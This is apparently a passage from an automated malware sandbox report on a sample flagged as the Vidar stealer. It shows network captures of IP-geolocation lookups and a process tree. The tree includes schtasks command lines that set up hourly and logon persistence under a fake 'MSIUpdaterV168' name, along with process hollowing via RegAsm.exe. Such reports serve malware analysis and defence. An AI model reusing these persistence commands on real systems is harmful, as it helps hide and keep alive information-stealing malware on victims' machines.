2024-06-20 04:49:21 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 04:49:21 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 04:49:21 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 04:49:21 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-20 04:49:21 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49767	104.26.4.15	443	7404	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 04:49:21 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 04:49:22 UTC	659	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 04:49:22 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC467377:2DE6_93878F2E:0050_6673B4D2_14995DA5:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=La%2FGBrvyAqUyd44BFrmb9cpNaPfiQtcH3WzqkcMZ2Ii9MCZRN9ideX8xKDMrVFPHyvB1SmK5ybMGejvhPm3GYwMH%2FNQ%2Fq3pbaRyeWDw5KzR%2BkkqIDcaoz%2FGEYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896921c069d17287-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 04:49:22 UTC	673	IN	Data Raw: 32 39 61 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 3a 5b Data Ascii: 29a{"status":"ok","demoInfo":{"ipAddress":"8.46.123.33","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages":[
2024-06-20 04:49:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49774	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 04:49:24 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 04:49:24 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 04:49:24 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 04:49:24 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-20 04:49:24 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49777	104.26.4.15	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 04:49:24 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 04:49:24 UTC	653	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 04:49:24 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9B22:F1A8_93878F2E:0050_6673B4D4_14995E08:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tK7vI0Uv8qegGwDg8852d7iNREsCIjBCiDRQG9A1ntr39%2BzIJV%2BZhA1rf7KP5XfrJLJoyoBoSAVeUdF59oze1ZdilwqTvuBMsXoBq4cI9jJUzYPwAM0jndL5Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896921d2885b5e67-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 04:49:24 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-06-20 04:49:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49780	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 04:49:26 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 04:49:26 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 04:49:26 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 04:49:26 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-20 04:49:26 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49781	104.26.4.15	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 04:49:27 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 04:49:27 UTC	653	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 04:49:27 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9BD0:C5AE_93878F2E:0050_6673B4D7_14995E5C:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hLInuhhvLU1dxUcuzxOhrhz%2BtfAnS9wpcL82UBRsX4F%2F99rMaooivFT4l0YDjMkXzHQ6PJLFVCsUNeUYxcqumVtJgmZtCKMUr6oQdd6LCE4fE62mhNW6G1NTXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896921e0cc074369-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 04:49:27 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-06-20 04:49:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:48:58
Start date:	20/06/2024
Path:	C:\Users\user\Desktop\1kBeqS7E3z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\1kBeqS7E3z.exe"
Imagebase:	0xb30000
File size:	1'885'184 bytes
MD5 hash:	9F7D8785AA5E359848EBE4D771F3DE8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:48:59
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x70000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:48:59
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x4c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:48:59
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xc10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:48:59
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6668 -s 288
Imagebase:	0x180000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:49:11
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bdca866007fb255201297d2a15a49513 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x170000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:49:11
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:49:11
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bdca866007fb255201297d2a15a49513 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x170000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:49:11
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f330000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:49:11
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe"
Imagebase:	0x30000
File size:	1'885'184 bytes
MD5 hash:	9F7D8785AA5E359848EBE4D771F3DE8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:49:12
Start date:	20/06/2024
Path:	C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
Imagebase:	0xa10000
File size:	1'885'184 bytes
MD5 hash:	9F7D8785AA5E359848EBE4D771F3DE8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:49:12
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x580000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:49:12
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe00000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:49:12
Start date:	20/06/2024
Path:	C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
Imagebase:	0xa10000
File size:	1'885'184 bytes
MD5 hash:	9F7D8785AA5E359848EBE4D771F3DE8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:49:12
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7064 -s 296
Imagebase:	0x180000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:49:12
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_22594e13276480dd456a8441babc227b HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x170000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:49:12
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:49:12
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_22594e13276480dd456a8441babc227b LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x170000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:49:12
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:49:13
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe"
Imagebase:	0x740000
File size:	449'536 bytes
MD5 hash:	B2F5D04FC1D63F47EC7CDC2B326B7E83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000016.00000002.1855823531.0000000000778000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:49:13
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb50000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	00:49:13
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7032 -s 260
Imagebase:	0x180000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:49:13
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x170000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	00:49:14
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:49:14
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
